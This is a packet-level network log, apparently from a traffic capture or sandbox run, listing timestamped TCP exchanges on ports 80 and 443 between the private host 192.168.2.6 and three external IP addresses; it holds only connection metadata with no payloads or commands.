Nov 26, 2024 16:31:20.634180069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.634367943 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.640017033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.640029907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.640115976 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.645476103 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.645488024 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.645553112 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.648168087 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.648181915 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.648225069 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.648302078 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.651391983 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.651557922 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.653773069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.653870106 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.655914068 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.656196117 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.656255007 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.656615973 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.656647921 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.657424927 CET	49736	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.657430887 CET	443	49736	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.657968044 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.658534050 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.658559084 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.658921003 CET	49737	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.658926964 CET	443	49737	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.659187078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.659198999 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.659245968 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.661926031 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.662009001 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.667287111 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.667747021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.669701099 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.669795990 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.675882101 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.675896883 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.675967932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.681842089 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.681855917 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.681982040 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.683820009 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.683832884 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.683944941 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.685559988 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.685575962 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.685715914 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.685729027 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.685796022 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.689475060 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.689487934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.689590931 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.691704988 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.691752911 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.691800117 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.691813946 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.691905022 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.692009926 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.693809986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.693823099 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.696012974 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.710514069 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.710526943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.710582018 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.712326050 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.712414980 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.714262009 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.715611935 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.715744019 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.719157934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.719170094 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.719178915 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.719237089 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.719316959 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.721359015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.721507072 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.721535921 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.721586943 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.721626043 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.721633911 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.721678972 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.721788883 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.727215052 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.727229118 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.727456093 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.727467060 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.728009939 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.729412079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.729424000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.729484081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.733534098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.733558893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.733634949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.736943960 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.737070084 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.738285065 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.738352060 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.743799925 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.744081020 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.745526075 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.745615959 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.748320103 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.748333931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.748456001 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.750123978 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.750165939 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.750231028 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.750238895 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.750289917 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.750289917 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.751633883 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.751646042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.751996994 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.756194115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.756206036 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.756371975 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.760701895 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.760714054 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.760893106 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.765049934 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.765206099 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.766444921 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.766609907 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.769520998 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.769536972 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.769571066 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.769586086 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.769648075 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.769678116 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.769892931 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.769906044 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.769932985 CET	49738	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.769938946 CET	443	49738	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.770096064 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.770097017 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.770137072 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.770162106 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.770900965 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.770936012 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.770952940 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.771050930 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.771050930 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.771070004 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.771167994 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.772305012 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.772438049 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.773672104 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.773710012 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.773737907 CET	49742	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.773760080 CET	443	49742	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.773783922 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.773860931 CET	49742	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.774029970 CET	49741	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.774032116 CET	49742	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:20.774041891 CET	443	49741	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.774049997 CET	443	49742	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:20.775198936 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.775213003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.775425911 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.778435946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.778753042 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.779851913 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.779979944 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.780038118 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.780082941 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.780121088 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.780133009 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.780158997 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.780296087 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.781523943 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.781547070 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.781620026 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.781630039 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.781656981 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.781712055 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.783041954 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.783061028 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.783073902 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.783148050 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.783148050 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.783160925 CET	443	49734	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.784090042 CET	49734	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.784501076 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.784518003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.784594059 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.790232897 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.790251970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.790364981 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.791887045 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.792134047 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.793220997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.793337107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.794636965 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.794648886 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.794692039 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.801884890 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.801897049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.802114010 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.805186033 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.805233002 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.805288076 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.805294991 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.805315971 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.805425882 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.806402922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.806420088 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.806467056 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.809957981 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.809967041 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.810007095 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.818335056 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.818347931 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.818437099 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.818444967 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.819438934 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.826426983 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.826472998 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.826508999 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.826515913 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.826540947 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.826620102 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.846718073 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.846734047 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.846806049 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.846827984 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.847096920 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.848695040 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.848742962 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.848779917 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.848788023 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.848819971 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.849061966 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.862056971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.862096071 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.862194061 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.866559982 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.866573095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.866730928 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.869781971 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.869841099 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.869879007 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.869885921 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.869910002 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.871407032 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.873802900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.873816013 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.873936892 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.875890970 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.875905991 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.875973940 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.875991106 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.877002954 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.879307985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.879527092 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.880500078 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.880613089 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.883661985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.883749962 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.885122061 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.885243893 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.888020992 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.888297081 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.889549017 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.889617920 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.892627001 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.892638922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.892715931 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.899231911 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.899388075 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.900912046 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.900989056 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.902616024 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.902631044 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.902694941 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.902703047 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.902791023 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.904774904 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.904819965 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.904870033 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.904876947 CET	443	49733	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.904927969 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.904927969 CET	49733	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.905966043 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.905976057 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.906109095 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.910032034 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.910176992 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.911803007 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.911973953 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.918642998 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.918653011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.918701887 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.921552896 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.921565056 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.921763897 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.923234940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.923295021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.925134897 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.925249100 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.926743984 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.926757097 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.926870108 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.928366899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.928374052 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.928459883 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.929892063 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.929903030 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.929960966 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.929960966 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.931504011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.931613922 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.933696985 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.933707952 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.933801889 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.935658932 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.935753107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.937104940 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.937118053 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.937208891 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.937239885 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.937262058 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.937395096 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.937403917 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.937647104 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.938725948 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.938736916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.938827991 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.940193892 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.940205097 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.940418959 CET	49720	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:20.944865942 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.944880962 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.945082903 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.945091963 CET	443	49732	150.171.27.10	192.168.2.6
Nov 26, 2024 16:31:20.945209026 CET	49732	443	192.168.2.6	150.171.27.10
Nov 26, 2024 16:31:20.947173119 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.947191000 CET	80	49720	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:20.947247028 CET	49720	80	192.168.2.6	185.215.113.206
